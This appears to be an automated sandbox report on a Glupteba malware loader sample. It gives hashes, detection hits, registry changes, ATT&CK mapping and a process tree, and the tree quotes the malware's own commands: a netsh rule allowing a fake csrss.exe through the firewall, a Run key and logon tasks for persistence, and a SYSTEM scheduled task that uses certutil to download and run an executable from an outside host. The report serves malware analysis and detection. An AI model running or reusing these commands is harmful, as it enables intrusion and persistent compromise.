glupteba | 5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee

General

Target

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
Size

3.9MB
MD5

97951d49f248b773ca6d4d783749b8c3
SHA1

8dfa35e2f0057f9f649fa7cef651b38abf7c8ebb
SHA256

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee
SHA512

34a547d14e0713291c40bdfcfa43b991fe2d5c1b7b25b4e2e05e94f56b845c9396329f8c3cf14736fa6161324f1147b8c4d61b6fc478e8885ec1871f600066f5

Score

10^/10

glupteba discovery dropper evasion loader persistence

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 8 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4964-133-0x00000000047D0000-0x0000000004EC6000-memory.dmp	family_glupteba
behavioral2/memory/4964-134-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/4964-135-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/4964-137-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/3580-139-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/3580-145-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/552-147-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba
behavioral2/memory/552-153-0x0000000000400000-0x000000000267B000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 1964 created 4964	1964	svchost.exe	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
PID 1964 created 552	1964	svchost.exe	csrss.exe
PID 1964 created 552	1964	svchost.exe	csrss.exe
PID 1964 created 552	1964	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

552 csrss.exe
1664 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

3616 netsh.exe

pid	process
552	csrss.exe
1664	patch.exe

pid	process
3616	netsh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3463845317-933582289-45817732-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WanderingField = "\"C:\\Windows\\rss\\csrss.exe\""	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1632 bcdedit.exe

pid	process
1632	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
File opened for modification	C:\Windows\rss	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4724 schtasks.exe
876 schtasks.exe

pid	process
4724	schtasks.exe
876	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3051 = "Qyzylorda Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.execsrss.exe

pid	process
4964	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
4964	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
552	csrss.exe
552	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4964	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
Token: SeImpersonatePrivilege	4964	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
Token: SeTcbPrivilege	1964	svchost.exe
Token: SeTcbPrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeSystemEnvironmentPrivilege	552	csrss.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe
Token: SeBackupPrivilege	1964	svchost.exe
Token: SeRestorePrivilege	1964	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.execmd.execsrss.exe

description	pid	process	target process
PID 1964 wrote to memory of 3580	1964	svchost.exe	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
PID 1964 wrote to memory of 3580	1964	svchost.exe	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
PID 1964 wrote to memory of 3580	1964	svchost.exe	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
PID 3580 wrote to memory of 3608	3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe	cmd.exe
PID 3580 wrote to memory of 3608	3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe	cmd.exe
PID 3608 wrote to memory of 3616	3608	cmd.exe	netsh.exe
PID 3608 wrote to memory of 3616	3608	cmd.exe	netsh.exe
PID 3580 wrote to memory of 552	3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe	csrss.exe
PID 3580 wrote to memory of 552	3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe	csrss.exe
PID 3580 wrote to memory of 552	3580	5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe	csrss.exe
PID 1964 wrote to memory of 4724	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 4724	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 876	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 876	1964	svchost.exe	schtasks.exe
PID 1964 wrote to memory of 1664	1964	svchost.exe	patch.exe
PID 1964 wrote to memory of 1664	1964	svchost.exe	patch.exe
PID 552 wrote to memory of 1632	552	csrss.exe	bcdedit.exe
PID 552 wrote to memory of 1632	552	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
"C:\Users\Admin\AppData\Local\Temp\5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4964

C:\Users\Admin\AppData\Local\Temp\5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe
"C:\Users\Admin\AppData\Local\Temp\5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3580

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:3608

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:3616

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:552

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4724

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:876

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:1664

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
97951d49f248b773ca6d4d783749b8c3

SHA1
8dfa35e2f0057f9f649fa7cef651b38abf7c8ebb

SHA256
5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee

SHA512
34a547d14e0713291c40bdfcfa43b991fe2d5c1b7b25b4e2e05e94f56b845c9396329f8c3cf14736fa6161324f1147b8c4d61b6fc478e8885ec1871f600066f5

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
97951d49f248b773ca6d4d783749b8c3

SHA1
8dfa35e2f0057f9f649fa7cef651b38abf7c8ebb

SHA256
5d3808293fee496c2a48aa6c864bf91a6dd164404ebc005fbf49ba7478ed33ee

SHA512
34a547d14e0713291c40bdfcfa43b991fe2d5c1b7b25b4e2e05e94f56b845c9396329f8c3cf14736fa6161324f1147b8c4d61b6fc478e8885ec1871f600066f5

Download Submit
memory/552-147-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/552-153-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/552-142-0x0000000000000000-mapping.dmp

Download
memory/552-146-0x0000000004800000-0x0000000004BA7000-memory.dmp

Filesize
3.7MB

Download
memory/876-149-0x0000000000000000-mapping.dmp

Download
memory/1632-152-0x0000000000000000-mapping.dmp

Download
memory/1664-150-0x0000000000000000-mapping.dmp

Download
memory/3580-136-0x0000000000000000-mapping.dmp

Download
memory/3580-138-0x000000000457F000-0x0000000004926000-memory.dmp

Filesize
3.7MB

Download
memory/3580-139-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/3580-145-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/3608-140-0x0000000000000000-mapping.dmp

Download
memory/3616-141-0x0000000000000000-mapping.dmp

Download
memory/4724-148-0x0000000000000000-mapping.dmp

Download
memory/4964-132-0x0000000004427000-0x00000000047CE000-memory.dmp

Filesize
3.7MB

Download
memory/4964-134-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/4964-133-0x00000000047D0000-0x0000000004EC6000-memory.dmp

Filesize
7.0MB

Download
memory/4964-135-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download
memory/4964-137-0x0000000000400000-0x000000000267B000-memory.dmp

Filesize
34.5MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads